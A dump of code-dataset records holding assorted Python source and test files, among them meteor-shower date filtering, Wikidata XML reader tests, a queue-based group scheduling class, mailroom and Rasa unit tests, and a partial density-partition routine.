if (noNaN < 12) and noPeakNaN:\n okayDates.append(date)\n\n if len(okayDates) != 0:\n finalDates = []\n if shower == 'quadrantids':\n for aDate in okayDates:\n if aDate[-2:] == '01':\n if str(int(aDate[:-3])-1)+'-12' in okayDates:\n finalDates.append(str(int(aDate[:-3])-1)+'-12')\n finalDates.append(aDate)\n\n if shower == 'geminids':\n for aDate in okayDates:\n finalDates.append(aDate)\n\n if shower == 'leonids':\n for aDate in okayDates:\n finalDates.append(aDate)\n\n if shower == 'orionids':\n for aDate in okayDates:\n if aDate[-2:] == '10':\n if aDate[:-2]+'11' in okayDates:\n finalDates.append(aDate)\n finalDates.append(aDate[:-2]+'11')\n\n if shower == 'perseids':\n for aDate in okayDates:\n if aDate[-2:] == '07':\n if aDate[:-2]+'08' in okayDates:\n finalDates.append(aDate)\n finalDates.append(aDate[:-2]+'08')\n\n if shower == 'eta_aquariids':\n for aDate in okayDates:\n if aDate[-2:] == '04':\n if aDate[:-2]+'05' in okayDates:\n finalDates.append(aDate)\n finalDates.append(aDate[:-2]+'05')\n\n if len(finalDates) != 0:\n count += 1\n\n with open(basedir+'dates/'+shower+'/'+observer+'.txt', 'w') as f:\n for date in finalDates:\n f.write(date)\n f.write('\\n')\n print(count)\n","sub_path":"zhr/refineAuthors.py","file_name":"refineAuthors.py","file_ext":"py","file_size_in_byte":5491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"45340386","text":"import unittest\nimport gzip\n\nfrom pkg_resources import resource_filename\nfrom testtools import TestCase\nfrom testtools.matchers import *\n\nfrom propertysuggester.test.parser.test_abstract_reader import AbstractUniverseTest\nfrom propertysuggester.parser import XmlReader\nfrom propertysuggester.utils.datamodel import Claim, Snak, Entity\n\nclass XmlReaderTest(AbstractUniverseTest):\n def test_universe(self):\n with gzip.open(resource_filename(__name__, \"Wikidata-Q1.xml.gz\"), \"r\") as f:\n result = list(XmlReader.read_xml(f))\n self.assert_universe(result)\n\n def test_updated_dump(self):\n with gzip.open(resource_filename(__name__, \"Wikidata-Q9351.xml.gz\"), \"r\") as f:\n result = list(XmlReader.read_xml(f))\n\n self.assertThat(len(result), Equals(1))\n q9351 = result[0]\n self.assertThat(q9351.title, Equals(\"Q9351\"))\n self.assertThat(q9351.claims, Contains(Claim(Snak(156, \"wikibase-item\", \"Q1647331\"))))\n self.assertThat(q9351.claims, Contains(Claim(Snak(1112, \"quantity\", \"+25\"))))\n\n def test_special_cases(self):\n self.assertThat(XmlReader._process_json((\"Q1\", \"{}\")), Equals(Entity(\"Q1\", [])))\n self.assertThat(XmlReader._process_json((\"Q1\", '{\"claims\":[{\"m\":[\"value\",\"\",\"bad\"], \"refs\":[],\"q\":[]}]}')),\n Equals(Entity(\"Q1\", [])))\n self.assertThat(XmlReader._process_json((\"Q1\", '{\"claims\":[{\"m\":[\"value\",\"\",\"unknown\"], \"refs\":[],\"q\":[]}]}')),\n Equals(Entity(\"Q1\", [])))\n\nclass MultiprocessingBigTest(TestCase):\n def test_simple_multiprocessing(self):\n r1 = list(XmlReader.read_xml(gzip.open(resource_filename(__name__, \"Wikidata-Q1.xml.gz\")), 1))\n r4 = list(XmlReader.read_xml(gzip.open(resource_filename(__name__, \"Wikidata-Q1.xml.gz\")), 4))\n\n self.assertThat(r1, HasLength(1))\n self.assertThat(r4, Equals(r1))\n\n def test_multiprocessing(self):\n r1 = list(XmlReader.read_xml(gzip.open(resource_filename(__name__, \"Wikidata-20131129161111.xml.gz\")), 1))\n r4 = list(XmlReader.read_xml(gzip.open(resource_filename(__name__, \"Wikidata-20131129161111.xml.gz\")), 4))\n\n self.assertThat(r1, HasLength(87))\n self.assertThat(r4, Equals(r1))\n\nif __name__ == '__main__':\n unittest.main()\n\n","sub_path":"propertysuggester/test/parser/test_xml_reader.py","file_name":"test_xml_reader.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"260190656","text":"# -*- python -*-\n\n# This software was produced by NIST, an agency of the U.S. government,\n# and by statute is not subject to copyright in the United States.\n# Recipients of this software assume all responsibilities associated\n# with its operation, modification and maintenance. However, to\n# facilitate maintenance we ask that before distributing modified\n# versions of this software, you first contact the authors at\n# oof_manager@nist.gov. \n\nfrom generics import *\n\nimport string, sys\n\n# Custom function for doing an \"ends-with\" type of test, but with a\n# floating-point tolerance. Starts from the end of the file. See\n# also floatFileDiff in the \"generics\" file.\ndef floatTextTail(widgetpath, text, tolerance=1.0e-6,\n comment=\"#\", separator=\",\"):\n textlines = string.split(text,'\\n')\n msgbuffer = gtklogger.findWidget(widgetpath).get_buffer()\n msglines = msgbuffer.get_text(msgbuffer.get_start_iter(),\n msgbuffer.get_end_iter()).split('\\n')\n # Text-lines is presumably shorter than the buffer.\n for i in range(len(textlines)):\n textdata = textlines[-(i+1)]\n msgdata = msglines[-(i+1)]\n\n if textdata==msgdata:\n continue\n\n # Comments are allowed to differ.\n if textdata[0]==comment or msgdata[0]==comment:\n continue\n\n textitems = string.split(textdata, separator)\n msgitems = string.split(msgdata, separator)\n\n for(i1,i2) in zip(textitems, msgitems):\n try:\n (f1, f2) = (float(i1), float(i2))\n except ValueError:\n if i1!=i2:\n print >> sys.stderr, \"Text mismatch, >%s< != >%s<.\" % (i1,i2)\n return False\n else:\n if abs(f1-f2)>tolerance:\n print >> sys.stderr, \"Float difference, %f too far from %f.\" % (f1,f2)\n return False\n if f1!=0.0 and f2!=0.0 and abs((f1/f2)-1.0)>tolerance:\n print >> sys.stderr, \"Float difference, %f/%f too far from 1.0\" % (f1,f2)\n return False\n\n # If everything worked, it's a win.\n return True\n","sub_path":"TEST/GUI/01400_toolbox_meshcs/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"575950566","text":"def flip_measurement(dataframe, from_m_col, to_m_col, segment_len_col, length=10):\n \"\"\"\n This function will flip the measurement value to compensate wrong survey direction.\n :param dataframe: The input DataFrame.\n :param from_m_col: From Measure column.\n :param to_m_col: To Measure column.\n :param segment_len_col: Segment length column.\n :param length: Segment length default value.\n :return:\n \"\"\"\n df = dataframe\n max_m = df[to_m_col].max() # The To Measure max value.\n\n # Flip the measurement, From become To and vice-versa.\n df[[to_m_col, from_m_col]] = df[[from_m_col, to_m_col]].apply(lambda x: (x - max_m).abs())\n\n offset = length - df.at[df[to_m_col].idxmin(), to_m_col] # The offset value\n first_segment = df[from_m_col] == 0 # First segment\n\n df.loc[first_segment, [to_m_col]] = df[to_m_col] + offset # Add the offset value\n df.loc[~first_segment, [from_m_col, to_m_col]] = df[[from_m_col, to_m_col]] + offset\n\n df[segment_len_col] = (df[to_m_col]-df[from_m_col]).astype('float')/100\n\n return df\n","sub_path":"SMD_Package/event_table/measurement/flip.py","file_name":"flip.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"548371246","text":"# Helper functions for decision tree. As we aren't allowed to use \n# sklearn's train_test_split(), we can create our own easily\nimport numpy as np\nimport pandas as pd\n\ndef train_test_split(df, test_size=0.2):\n\n '''Splits a dataframe into training and testing data'''\n\n # account for floats\n test_size = round((test_size) * len(df))\n\n test_indices = np.random.default_rng().choice(a=df.index.to_list(), size=test_size)\n\n test_data = df.loc[test_indices]\n\n train_data = df.drop(test_indices)\n\n return train_data, test_data\n\n# Notes:\n # test size could return a fraction of a index so we round it first\n # ex. len(df) = 93\n # 18.6 = 0.2 * 93\n # 19 = round(18.6)\n\n# Use of np.random.Generator.choice() rather than np.random.sample()\n# https://stackoverflow.com/questions/40914862/why-is-random-sample-faster-than-numpys-random-choice\n\nif __name__ == \"__main__\":\n \n print('train:', len(train))\n print('test:', len(test))","sub_path":"helperfunctions.py","file_name":"helperfunctions.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"519452795","text":"\"\"\"\n/**************************************************************\n* Name : definitions.py\n* Author : Tom Sorteberg\n* Created : 12/08/2020\n* Course : CIS 152 Data Structures\n* Version : 1.0\n* OS : Windows 10 Professional 1909\n* Copyright : This is my own original work based on\n* specifications issued by our instructor\n* Description : This class file defines both the Schedule\n and Group wrapper data types for the\n Scheduling Application.\n* Academic Honesty: I attest that this is my original work.\n* I have not used unauthorized source code, either modified or\n* unmodified. I have not given other fellow student(s) access to\n* my program.\n***************************************************************/\n\"\"\"\nfrom constants import constants\nfrom modules.validate import check_ticket\nimport re\nfrom modules.validate import update_csv\nimport csv\nimport ast\nimport os\nimport shutil\n\n\"\"\" Class Schedule\"\"\"\n\n\nclass Schedule(object):\n \"\"\"\n This class represents a queue data structure with\n associated class and static functions. The Schedule\n queue is then populated with Group class nodes.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Default constructor.\n \"\"\"\n self._queue = []\n self._group_number = 1\n\n def insert(self, entries):\n \"\"\"\n Inserts a group object\n :param entries: Required list.\n :return: No return.\n \"\"\"\n\n # Local variable declaration and initialization.\n character_set = set(\"0123456789GSPR \")\n number_set = set(\"0123456789\")\n email_set = '^[a-z0-9]+[\\._]?[a-z0-9]+[@]\\w+[.]\\w{2,3}$'\n length = len(entries)\n priority = self.priority(entries)\n inserted = False\n no_email = False\n min_age = False\n max_age = False\n checked = []\n duplicate = False\n\n # Input validation.\n for entry in entries:\n # Validate ticket numbers.\n if len(entry[0]) != constants.TICKET_LEN \\\n or not character_set.issuperset(entry[0]) \\\n or not check_ticket(entry[0]):\n # Raise exception.\n raise ValueError(\"Invalid value for ticket number parameter.\")\n # Validate age.\n elif not number_set.issuperset((entry[1])) or int(entry[1]) < constants.MIN_AGE:\n # Raise exception.\n raise ValueError(\"Invalid value for age parameter.\")\n elif not number_set.issuperset((entry[2])) or int(entry[2]) < constants.MIN_HEIGHT:\n # Raise exception.\n raise ValueError(\"Invalid value for height parameter.\")\n # Validate email.\n elif entry[3] != \"\" and not re.search(email_set, entry[3]):\n # Raise exception.\n raise ValueError(\"Invalid value for email parameter.\")\n # If there are no email addresses, then set no_email variable to True.\n elif entry[3] != \"\":\n no_email = True\n\n # Check for duplicates and age verification.\n for entry in entries:\n if entry[0] is not None and entry[0] in checked:\n duplicate = True\n checked.append(entry[0])\n # If age field is not empty and is an integer.\n if entry[1] != \"\" and number_set.issuperset(entry[1]):\n # If the age field is less than or equal to 7,\n # set min_age iteration variable to true.\n if int(entry[1]) <= constants.MIN_ACCP:\n min_age = True\n # If the age field is greater than than or equal to 14,\n # set max_age iteration variable to true.\n if int(entry[1]) >= constants.MAX_ACCP:\n max_age = True\n\n # If no email address is provided.\n if not no_email:\n # Raise exception.\n raise ValueError(\"No value provided for email.\")\n # If accompany requirements are not met.\n elif min_age is True and max_age is not True:\n raise ValueError(\"Accompany requirements not met.\")\n # If there are duplicates.\n elif duplicate:\n # Raise exception.\n raise ValueError(\"Duplicate ticket exists\")\n\n # If the group is full or the queue is empty.\n if length == constants.MAX_GROUP or self.is_empty():\n # Append group object to queue.\n self._queue.append(Group(entries, priority, self._group_number))\n # Increment group number.\n self._group_number += 1\n # Set inserted to True.\n inserted = True\n # Else if group is less than 4, find a group with same priority\n # with room for additional members and if available, insert member\n # information.\n else:\n for group in self._queue:\n if (constants.MAX_GROUP - group.size()) >= length \\\n and priority == group.get_priority():\n inserted = True\n for entry in entries:\n group.update(entry)\n # If queue is not empty and no suitable group is found, create\n # a new group.\n if not inserted:\n self._queue.append(Group(entries, priority, self._group_number))\n # Increment group number.\n self._group_number += 1\n # Remove ticket entries from valid.csv to prevent additional\n # registration.\n update_csv(entries)\n # Write entry to backup.csv file in case of recovery.\n self.backup_csv()\n\n def remove(self):\n \"\"\"\n Function that removes a group from the queue based on group number.\n :return: Returns a Group object.\n \"\"\"\n # Return statement.\n return self._queue.pop(0)\n\n def size(self):\n \"\"\"\n Function that returns the size of the queue.\n :return: Returns an integer.\n \"\"\"\n # Return statement.\n return len(self._queue)\n\n def is_empty(self):\n \"\"\"\n Function that returns True if the queue is empty.\n :return: Returns a boolean.\n \"\"\"\n # Return statement.\n return len(self._queue) == 0\n\n def search(self, value):\n \"\"\"\n Function that performs a search based on group number.\n Returns true if found.\n :param value: Required integer.\n :return: Returns a boolean.\n \"\"\"\n # Local variable declaration and initialization.\n return_statement = False\n # Input Validation.\n if isinstance(value, int):\n # For loop to iterate through queue.\n # If value is found, return True.\n for group in self._queue:\n if group.get_group_num() == value:\n return_statement = True\n else:\n raise ValueError(\"Parameter value must be an integer.\")\n\n # Return statement.\n return return_statement\n\n def display_group(self, value):\n \"\"\"\n Function that displays group information based on group number.\n :param value: Required integer.\n :return: Returns a string.\n \"\"\"\n # Local variable declaration and initialization.\n return_statement = \"Group not found.\"\n member_statement = \"\"\n # Input Validation.\n if isinstance(value, int):\n # For loop to search for group value.\n for group in self._queue:\n # If group found, return group information.\n if group.get_group_num() == value:\n members = group.get_members()\n for member in members:\n member_statement = member_statement \\\n + \"\\nTicket#: \" + member[0] \\\n + \"\\nAge: \" + member[1] \\\n + \"\\nHeight: \" + member[2] \\\n + \"\\nemail: \" + member[3] + \"\\n\"\n\n return_statement = \"Group#: \" + str(group.get_group_num()) + \\\n \", Priority: \" + group.get_priority() + \\\n \", \\nMembers: \\n\" + member_statement\n # Return statement.\n return return_statement\n else:\n raise ValueError(\"Parameter value must be an integer.\")\n\n def import_csv(self):\n \"\"\"\n Function that imports data from backup .csv and rebuilds\n priority queue.\n :return: No return.\n \"\"\"\n # Local variable declaration and initialization.\n # Try except clause to check if file is available.\n try:\n with open('../backup/backup.csv', mode='r', newline=\"\") as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n for line in csv_reader:\n # Convert string representation of list to type list.\n temp_string = line[2]\n temp_list = ast.literal_eval(temp_string)\n self._queue.append(Group(temp_list, line[1], int(line[0])))\n self._group_number += 1\n except FileNotFoundError:\n # Raise exception.\n raise FileNotFoundError(\"Backup.csv file cannot be found.\")\n\n def backup_csv(self):\n \"\"\"\n Function that exports data to a .csv for backup.\n :return: No return.\n \"\"\"\n\n # Overwrite export.csv if it exists.\n with open('../backup/backup.csv', mode='w', newline=\"\") as csv_file:\n csv_writer = csv.writer(csv_file, delimiter=',')\n for group in self._queue:\n csv_writer.writerow([group.get_group_num(), group.get_priority(), group.get_members()])\n # Close open object.\n csv_file.close()\n\n def selection_sort(self):\n \"\"\"\n Function that performs a selection sort algorithm on the queue based\n on group priority.\n :return: No return.\n \"\"\"\n\n def swap(min_value, index_value):\n \"\"\"\n Helper function that exchanges queue positions from minimum value\n and index value.\n :param min_value: Required integer.\n :param index_value: Required integer.\n :return: No return.\n \"\"\"\n temp = self._queue[min_value]\n self._queue[min_value] = self._queue[index_value]\n self._queue[index_value] = temp\n\n # Local variable declaration and initialization.\n index = 0\n count = 0\n # While the index is less than the total size of the queue.\n while index < self.size() - 1:\n # Set the minimum index value to index.\n min_index = index\n # Set the probe index to index value plus one.\n probe = index + 1\n # While the probe index is less than the total size of the queue.\n while probe < self.size():\n # If probe index priority is less than minimum index priority.\n if self._queue[probe].get_priority() < self._queue[min_index].get_priority():\n # Set minimum index to probe index.\n min_index = probe\n # Increment counters.\n probe += 1\n count += 1\n # If minimum index value does not equal initial index value.\n if min_index != index:\n # Function call to swap group positions in queue if value is found.\n swap(min_index, index)\n # Increment counters.\n index += 1\n count += 1\n\n def export_csv(self):\n \"\"\"\n Function that exports data to a .csv for backup.\n :return: No return.\n \"\"\"\n # Function call for selection sort.\n self.selection_sort()\n\n # If previous export exists, backup to archive.\n if os.path.exists(\"../export/export.csv\"):\n shutil.copyfile(\"../export/export.csv\", \"../archive/export.csv\")\n # Overwrite export.csv if it exists.\n with open('../export/export.csv', mode='w', newline=\"\") as csv_file:\n csv_writer = csv.writer(csv_file, delimiter=',')\n\n for group in self._queue:\n temp_list = group.get_members()\n csv_writer.writerow([\"Group#\", \"Priority\"])\n csv_writer.writerow([group.get_group_num(), group.get_priority(), \"Ticket#\", \"Age\", \"Height\", \"Email\"])\n index = 0\n for _ in temp_list:\n csv_writer.writerow([\"\", \"\", temp_list[index][0], temp_list[index][1], temp_list[index][2], temp_list[index][3]])\n index += 1\n\n # Close open object.\n csv_file.close()\n\n # Copy backup file to archive.\n shutil.copyfile(\"../backup/backup.csv\", \"../archive/backup.csv\")\n\n # Delete backup file.\n os.remove(\"../backup/backup.csv\")\n\n @ staticmethod\n def priority(entries):\n \"\"\"\n Static function that determines group priority.\n :param entries: Required list.\n :return: Returns a string.\n \"\"\"\n # Local variable declaration and initialization.\n priority = None\n # Input validation.\n if isinstance(entries, list):\n # For loop and selection logic to determine group priority.\n for entry in entries:\n if entry[0] != \"\" and entry[0][0:2] == \"GP\":\n if priority is None:\n priority = \"A\"\n elif priority >= \"A\":\n priority = \"A\"\n elif entry[0] != \"\" and entry[0][0:2] == \"GS\":\n if priority is None:\n priority = \"B\"\n elif priority >= \"B\":\n priority = \"B\"\n elif entry[0] != \"\" and entry[0][0:2] == \"PR\":\n if priority is None:\n priority = \"C\"\n elif priority >= \"C\":\n priority = \"C\"\n elif entry[0] != \"\" and entry[0][0:2] == \"GR\":\n if priority is None:\n priority = \"D\"\n elif priority >= \"D\":\n priority = \"D\"\n else:\n # Raise exception.\n raise ValueError(\"Parameter must be type list.\")\n\n # Return statement.\n return priority\n\n\n\"\"\" Class Group \"\"\"\n\n\nclass Group(object):\n\n def __init__(self, entries, priority, group_num):\n \"\"\"\n Default constructor.\n :param entries: Required list.\n :param priority: Required String.\n :param group_num: Required integer.\n \"\"\"\n # Input validation.\n if isinstance(entries, list) \\\n and isinstance(priority, str) \\\n and isinstance(group_num, int) \\\n and len(entries) <= 4:\n self._group_num = group_num\n\n # Member variable declaration and initialization.\n self._members = entries\n self._priority = priority\n else:\n raise ValueError(\"Invalid parameter.\")\n\n def size(self):\n \"\"\"\n Function that returns the size of group.\n :return: Returns an integer.\n \"\"\"\n # Return statement.\n return len(self._members)\n\n def update(self, visitor):\n \"\"\"\n Function that appends members to groups.\n :param visitor: Required list.\n :return: No return.\n \"\"\"\n # Input validation.\n if isinstance(visitor, list) and self.size() != constants.MAX_GROUP:\n self._members.append(visitor)\n else:\n raise ValueError(\"Parameter must be of type list.\")\n\n def get_priority(self):\n \"\"\"\n Function that returns group priority.\n :return: Returns a string.\n \"\"\"\n # Return statement.\n return self._priority\n\n def get_members(self):\n \"\"\"\n Function that returns group member information.\n :return: Returns a list.\n \"\"\"\n # Return statement.\n return self._members\n\n def get_group_num(self):\n \"\"\"\n Function that returns the group number.\n :return: Returns an int.\n \"\"\"\n # Return statement.\n return self._group_num\n","sub_path":"definitions/definitions.py","file_name":"definitions.py","file_ext":"py","file_size_in_byte":16424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"35034945","text":"#!/usr/bin/env python3\nfrom unittest import TestCase, mock\nimport pytest\nimport mailroom_v4\nimport unittest\nfrom io import StringIO\nfrom testfixtures import tempdir, compare\nimport os\n\n\n@pytest.mark.parametrize('name, amount, expected', [\n (\"dan\", '50', \"Thank you dan for donating 50 dollars generously.\"),\n (\"jeff\", '60', \"Thank you jeff for donating 60 dollars generously.\")\n])\ndef test_thank_you_letter_positive(name, amount, expected):\n result = str(mailroom_v4.thank_you_letter(name, amount))\n assert expected == result\n\n\n@pytest.mark.parametrize('name, amount, expected', [\n (\"dan\", 50, \"Thank you sam for donating 50 dollars generously.\"),\n (\"jeff\", 60, \"Thank you for donating 60 dollars generously.\")\n])\ndef test_thank_you_letter_negitive(name, amount, expected):\n result = str(mailroom_v4.thank_you_letter(name, amount))\n assert expected != result\n\n\ntesting_donors_data = {\"testname1\": [200, 20, 35.5],\n \"testname2\": [500, 20],\n \"Susan\": [1000, 20, 70],\n \"Rob\": [250, 20],\n }\n\n\n@unittest.mock.patch('mailroom_v4.donor_details')\ndef test_donor_details(mock_donor_details):\n mailroom_v4.donor_details(testing_donors_data)\n mock_donor_details.assert_called_with(testing_donors_data)\n\n\ndef test_amount_validate_positive():\n assert mailroom_v4.amount_validate(float(20))\n\n\n@unittest.mock.patch('mailroom_v4.amount_validate')\ndef test_amount_validate_negitive(mock_amount_validate):\n mailroom_v4.amount_validate(-10)\n mock_amount_validate.assert_called_with(-10)\n\n\n@unittest.mock.patch('mailroom_v4.update_data_print_thanks')\ndef test_thank_you(mock_update_data_print_thanks):\n mailroom_v4.update_data_print_thanks(float(10), \"name1\")\n assert mock_update_data_print_thanks.called\n\n\n@unittest.mock.patch('sys.stdout', new_callable=StringIO)\ndef test_create_report(mock_stdout,):\n mailroom_v4.create_report()\n assert mock_stdout.getvalue() == '''Donor Name | Total Given |Num Gifts | Aver\n------------------------------------------------------------------------------------------\nJohn $ 255.5 3 $ 85.17\nJeff $ 520 2 $ 260.0\nSusan $ 1090 3 $ 363.3\nRob $ 270 2 $ 135.0\nRoss $ 200 1 $ 200.0\\n'''\n\n\n@unittest.mock.patch('mailroom_v4.send_letters_all')\ndef test_send_letters_all_call(mock_send_letters_all_call):\n test_send_donors_data = {\"testname3\": [200, 20, 35.5],\n \"testname2\": [500, 20],\n \"Susan\": [1000, 20, 70],\n \"Rob\": [250, 20],\n }\n mailroom_v4.send_letters_all(**test_send_donors_data)\n assert mock_send_letters_all_call.called\n #compare(dir.read('Susan.txt'), b'some thing')\n\n\ntest_send_letters_all_call()\n\n\n# @unittest.mock.patch('mailroom_v4.send_letters_all')\n# def test_send_letters_all(mock_test_send_letters_all_call):\n# test_send_donors_data = {\"testname3\": [200, 20, 35.5],\n# \"testname2\": [500, 20],\n# \"Susan\": [1000, 20, 70],\n# \"Rob\": [250, 20],\n# }\n# print(mock_test_send_letters_all_call(**test_send_donors_data))\n# print(mailroom_v4.send_letters_all(**test_send_donors_data))\n#\n# assert os.path.isfile(\"testname3.txt\") == 1\n\n\n\n#test_send_letters_all\n","sub_path":"students/g_rama/lesson06/test_mailroom_v4.py","file_name":"test_mailroom_v4.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"320765239","text":"import json\nimport pytest\nimport uuid\nfrom httpretty import httpretty\n\nfrom rasa_core import utils\nfrom rasa_core.training import online\nfrom rasa_core.utils import EndpointConfig\n\n\n@pytest.fixture\ndef mock_endpoint():\n return EndpointConfig(\"https://abc.defg\")\n\n\ndef test_send_message(mock_endpoint):\n sender_id = uuid.uuid4().hex\n\n url = '{}/conversations/{}/messages'.format(\n mock_endpoint.url, sender_id)\n httpretty.register_uri(httpretty.POST, url, body='{}')\n\n httpretty.enable()\n online.send_message(mock_endpoint, sender_id, \"Hello\")\n httpretty.disable()\n\n b = httpretty.latest_requests[-1].body.decode(\"utf-8\")\n assert json.loads(b) == {\n \"sender\": \"user\",\n \"text\": \"Hello\",\n \"parse_data\": None\n }\n\n\ndef test_request_prediction(mock_endpoint):\n sender_id = uuid.uuid4().hex\n\n url = '{}/conversations/{}/predict'.format(\n mock_endpoint.url, sender_id)\n httpretty.register_uri(httpretty.POST, url, body='{}')\n\n httpretty.enable()\n online.request_prediction(mock_endpoint, sender_id)\n httpretty.disable()\n\n b = httpretty.latest_requests[-1].body.decode(\"utf-8\")\n assert b == \"\"\n\n\ndef test_bot_output_format():\n message = {\n \"text\": \"Hello!\",\n \"data\": {\n \"image\": \"http://example.com/myimage.png\",\n \"attachment\": \"My Attachment\",\n \"buttons\": [\n {\"title\": \"yes\", \"payload\": \"/yes\"},\n {\"title\": \"no\", \"payload\": \"/no\"}]\n }\n }\n formatted = online.format_bot_output(message)\n assert formatted == (\"Hello!\\n\"\n \"Image: http://example.com/myimage.png\\n\"\n \"Attachment: My Attachment\\n\"\n \"1: yes (/yes)\\n\"\n \"2: no (/no)\")\n\n\ndef test_latest_user_message():\n tracker_dump = \"data/test_trackers/tracker_moodbot.json\"\n tracker_json = json.loads(utils.read_file(tracker_dump))\n\n m = online.latest_user_message(tracker_json.get(\"events\"))\n\n assert m is not None\n assert m[\"event\"] == \"user\"\n assert m[\"text\"] == \"/mood_great\"\n\n\ndef test_latest_user_message_on_no_events():\n m = online.latest_user_message([])\n\n assert m is None\n\n\ndef test_all_events_before_user_msg():\n tracker_dump = \"data/test_trackers/tracker_moodbot.json\"\n tracker_json = json.loads(utils.read_file(tracker_dump))\n evts = tracker_json.get(\"events\")\n\n m = online.all_events_before_latest_user_msg(evts)\n\n assert m is not None\n assert m == evts[:4]\n\n\ndef test_all_events_before_user_msg_on_no_events():\n assert online.all_events_before_latest_user_msg([]) == []\n\n\ndef test_print_history(mock_endpoint):\n tracker_dump = utils.read_file(\n \"data/test_trackers/tracker_moodbot.json\")\n\n sender_id = uuid.uuid4().hex\n\n url = '{}/conversations/{}/tracker'.format(\n mock_endpoint.url, sender_id)\n httpretty.register_uri(httpretty.GET, url, body=tracker_dump)\n\n httpretty.enable()\n online._print_history(sender_id, mock_endpoint)\n httpretty.disable()\n\n b = httpretty.latest_requests[-1].body.decode(\"utf-8\")\n assert b == \"\"\n assert (httpretty.latest_requests[-1].path ==\n \"/conversations/{}/tracker?include_events=AFTER_RESTART\"\n \"\".format(sender_id))\n\n\ndef test_is_listening_for_messages(mock_endpoint):\n tracker_dump = utils.read_file(\n \"data/test_trackers/tracker_moodbot.json\")\n\n sender_id = uuid.uuid4().hex\n\n url = '{}/conversations/{}/tracker'.format(\n mock_endpoint.url, sender_id)\n httpretty.register_uri(httpretty.GET, url, body=tracker_dump)\n\n httpretty.enable()\n is_listening = online.is_listening_for_message(sender_id, mock_endpoint)\n httpretty.disable()\n\n assert is_listening\n\n\ndef test_splitting_conversation_at_restarts():\n tracker_dump = \"data/test_trackers/tracker_moodbot.json\"\n evts = json.loads(utils.read_file(tracker_dump)).get(\"events\")\n evts_wo_restarts = evts[:]\n evts.insert(2, {\"event\": \"restart\"})\n evts.append({\"event\": \"restart\"})\n\n split = online._split_conversation_at_restarts(evts)\n assert len(split) == 2\n assert [e for s in split for e in s] == evts_wo_restarts\n assert len(split[0]) == 2\n assert len(split[0]) == 2\n\n\ndef test_as_md_message():\n parse_data = {\n \"text\": \"Hello there rasa.\",\n \"entities\": [{\"start\": 12,\n \"end\": 16,\n \"entity\": \"name\",\n \"value\": \"rasa\"}],\n \"intent\": {\"name\": \"greeting\", \"confidence\": 0.9}\n }\n md = online._as_md_message(parse_data)\n assert md == \"Hello there [rasa](name).\"\n\n\ndef test_validate_user_message():\n parse_data = {\n \"text\": \"Hello there rasa.\",\n \"parse_data\": {\n \"entities\": [{\"start\": 12,\n \"end\": 16,\n \"entity\": \"name\",\n \"value\": \"rasa\"}],\n \"intent\": {\"name\": \"greeting\", \"confidence\": 0.9}\n }\n }\n assert online._validate_user_regex(parse_data, [\"greeting\", \"goodbye\"])\n assert not online._validate_user_regex(parse_data, [\"goodbye\"])\n\n\ndef test_undo_latest_msg(mock_endpoint):\n tracker_dump = utils.read_file(\n \"data/test_trackers/tracker_moodbot.json\")\n tracker_json = json.loads(tracker_dump)\n evts = tracker_json.get(\"events\")\n\n sender_id = uuid.uuid4().hex\n\n url = '{}/conversations/{}/tracker'.format(\n mock_endpoint.url, sender_id)\n replace_url = '{}/conversations/{}/tracker/events'.format(\n mock_endpoint.url, sender_id)\n httpretty.register_uri(httpretty.GET, url, body=tracker_dump)\n httpretty.register_uri(httpretty.PUT, replace_url)\n\n httpretty.enable()\n online._undo_latest(sender_id, mock_endpoint)\n httpretty.disable()\n\n b = httpretty.latest_requests[-1].body.decode(\"utf-8\")\n\n # this should be the events the online call send to the endpoint\n # these events should have the last utterance omitted\n replaced_evts = json.loads(b)\n assert len(replaced_evts) == 6\n assert replaced_evts == evts[:6]\n","sub_path":"tests/test_online.py","file_name":"test_online.py","file_ext":"py","file_size_in_byte":6136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"444778038","text":"\"\"\"\nvp_kinetic.py\n\"\"\"\n\nimport sys\nimport numpy as np\n\ndef vp_kinetic(self):\n \"\"\"\n Calculate Kinetic energy components of vp\n \"\"\"\n\n #Select method for calculating kinetic energy\n if self.optPartition[\"kinetic_part_type\"] == \"vonweiz\":\n\n #Use the von-weizacker inversion\n #May break if only one density \n self.V.vt = (-0.5 * self.grid.elap @ (self.nf**0.5)) / (self.nf**0.5) / (self.grid.w)\n\n #Evaluate kinetic energy for integer ocupations\n #Densities\n #May break if only one density\n self.KSa.V.vt = (-0.5 * self.grid.elap @ (self.KSa.n**0.5)) / (self.KSa.n**0.5) / (self.grid.w)\n self.KSb.V.vt = (-0.5 * self.grid.elap @ (self.KSb.n**0.5)) / (self.KSb.n**0.5) / (self.grid.w)\n\n for i in range(self.KSa.V.vt):\n if np.isnan(self.KSa.V.vt[i]) is True:\n self.KSa.V.vt[i] = 0.0\n if np.isnan(self.KSb.V.vt[i]) is True:\n self.KSb.V.vt[i] = 0.0\n\n elif self.optPartition[\"kinetic_part_type\"] == \"libxcke\" or \\\n self.optPartition[\"kinetic_part_type\"] == \"paramke\":\n \n #Use a kinetic energy functional from libxc\n #Evaluate molecular kinetic energy\n raise ValueError(\"LibxcKe nor Paramke options are not avaliable\")\n\n\n elif self.optPartition[\"kinetic_part_type\"] == \"inversion\":\n\n #Find kinetic energy fucntional derivative for fragmetns using Euler equation\n #Fragments using euler equations\n # u = max(self.KSa.u, self.KSb.u)\n homos_a = []\n homos_b = []\n u = -1 / np.spacing(1)\n homos_a.append(u)\n homos_b.append(u)\n\n #Check the values of each solver's 